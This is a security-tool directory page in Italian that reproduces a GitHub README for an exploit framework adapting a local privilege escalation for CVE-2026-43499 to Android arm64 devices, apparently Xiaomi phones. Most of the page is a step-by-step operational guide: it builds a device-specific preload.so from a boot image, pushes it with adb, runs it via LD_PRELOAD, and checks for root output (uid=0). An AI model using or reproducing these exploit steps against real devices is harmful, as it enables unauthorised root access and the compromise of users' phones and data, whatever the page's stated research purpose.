Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-43499-Poc-Analysis — Analisi delle vulnerabilità e Proof of Concept (PoC) per la CVE-2026-43499 che colpisce i dispositivi Xiaomi. Solo a scopo educativo e di ricerca. | Kitploit
Strumenti/GitHubGitHub/xianwan1314/cve-2026-43499-poc-analysis
Sicurezza AndroidEscalation di PrivilegiAnalisi delle VulnerabilitàExploitSviluppo PayloadBinary Exploitation
GitHubxianwan1314/cve-2026-43499-poc-analysis

CVE-2026-43499-Poc-Analysis

Analisi delle vulnerabilità e Proof of Concept (PoC) per la CVE-2026-43499 che colpisce i dispositivi Xiaomi. Solo a scopo educativo e di ricerca.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
104711 mese faNon ancora revisionato

CVE-2026-43499 Adattamento per l'elevazione locale dei privilegi su Android arm64

English | Cinese


Questo è un progetto di adattamento per l'elevazione locale dei privilegi su Android arm64 per CVE-2026-43499.

Il progetto genera target.h in base al boot.img e alle informazioni del profilo del dispositivo target, quindi compila il corrispondente preload.so.

Nota: questo progetto è un framework di adattamento generico e non è legato a un singolo modello. L'effettiva funzionalità dipende dal fatto che generate_target.py riesca a generare target.h e dai risultati dei test su dispositivo reale.


Struttura delle directory

root@kitploit:~
项目目录/
├── boot.img                  # 目标设备同固件 boot 镜像
├── profile_xxx.json           # 目标设备 profile
├── detect_offset.py           # 检测 profile 用
├── generate_target.py         # 生成 target.h
├── source/
│   ├── Makefile
│   └── src/
│       └── target.h           # 自动生成
└── source/build/bin/
    └── preload.so             # 编译产物

Dipendenze richieste

Dipendenze di base

root@kitploit:~
Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Ambiente consigliato per Windows

Su Windows si consiglia di usare:

root@kitploit:~
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

Per installare make in MSYS2:

root@kitploit:~
pacman -S make coreutils

Preparazione dei file

Devi preparare:

root@kitploit:~
boot.img
profile_xxx.json

Esempio di profilo:

root@kitploit:~
{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

Questi due indirizzi nel profilo:

root@kitploit:~
p0_phys_offset
p0_kernel_phys_load

Possono essere ottenuti eseguendo lo script su un telefono già rootato e con lo stesso firmware del boot.img target:

root@kitploit:~
python3 detect_offset.py

Funziona anche su Windows:

root@kitploit:~
python detect_offset.py

Procedura di utilizzo

1. Entra nella directory del progetto

Linux / macOS:

root@kitploit:~
cd /path/to/project

Esempio Windows MSYS2:

root@kitploit:~
cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main

2. Imposta il percorso NDK

Esempio Linux / macOS:

root@kitploit:~
export ANDROID_NDK_HOME=/path/to/android-ndk

Esempio Windows MSYS2:

root@kitploit:~
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29

3. Genera target.h

root@kitploit:~
python3 generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h

Su Windows, se python3 non è disponibile, usa:

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h

Se viene segnalato che llvm-objdump non viene trovato, specifica manualmente il percorso:

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h \
  --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

In caso di successo vedrai un output simile a:

root@kitploit:~
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...

4. Compila preload.so

Linux / macOS:

root@kitploit:~
make -C source clean preload

Windows MSYS2:

root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64

Al termine verrà generato:

root@kitploit:~
source/build/bin/preload.so

5. Invia al dispositivo ed esegui

root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'

Verifica:

root@kitploit:~
adb shell '/data/local/tmp/su -c id'

In caso di successo di solito vedrai:

root@kitploit:~
uid=0(root) gid=0(root)

Flusso in un unico passaggio su Windows MSYS2

Esempio con i tuoi percorsi:

root@kitploit:~
cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64

File finale:

root@kitploit:~
source/build/bin/preload.so

Domande frequenti

llvm-objdump non trovato

Installa LLVM oppure usa:

root@kitploit:~
--llvm-objdump "/path/to/llvm-objdump"

make non trovato

Su Windows installalo con MSYS2:

root@kitploit:~
pacman -S make coreutils

clang non trovato

Di solito il percorso NDK non è configurato correttamente.

Esempio Windows MSYS2:

root@kitploit:~
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64

Generazione di target.h fallita

Di solito significa che il boot.img corrente o il layout del kernel non è stato ancora adattato correttamente.

Verifica in particolare:

root@kitploit:~
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF

Note

  • Dopo aver cambiato dispositivo, sistema o kernel, è necessario rigenerare target.h.
  • Non è consigliato modificare manualmente target.h: dovrebbe essere generato automaticamente da generate_target.py.
  • Usalo solo su dispositivi e ambienti per cui sei autorizzato.
Scarica lo strumento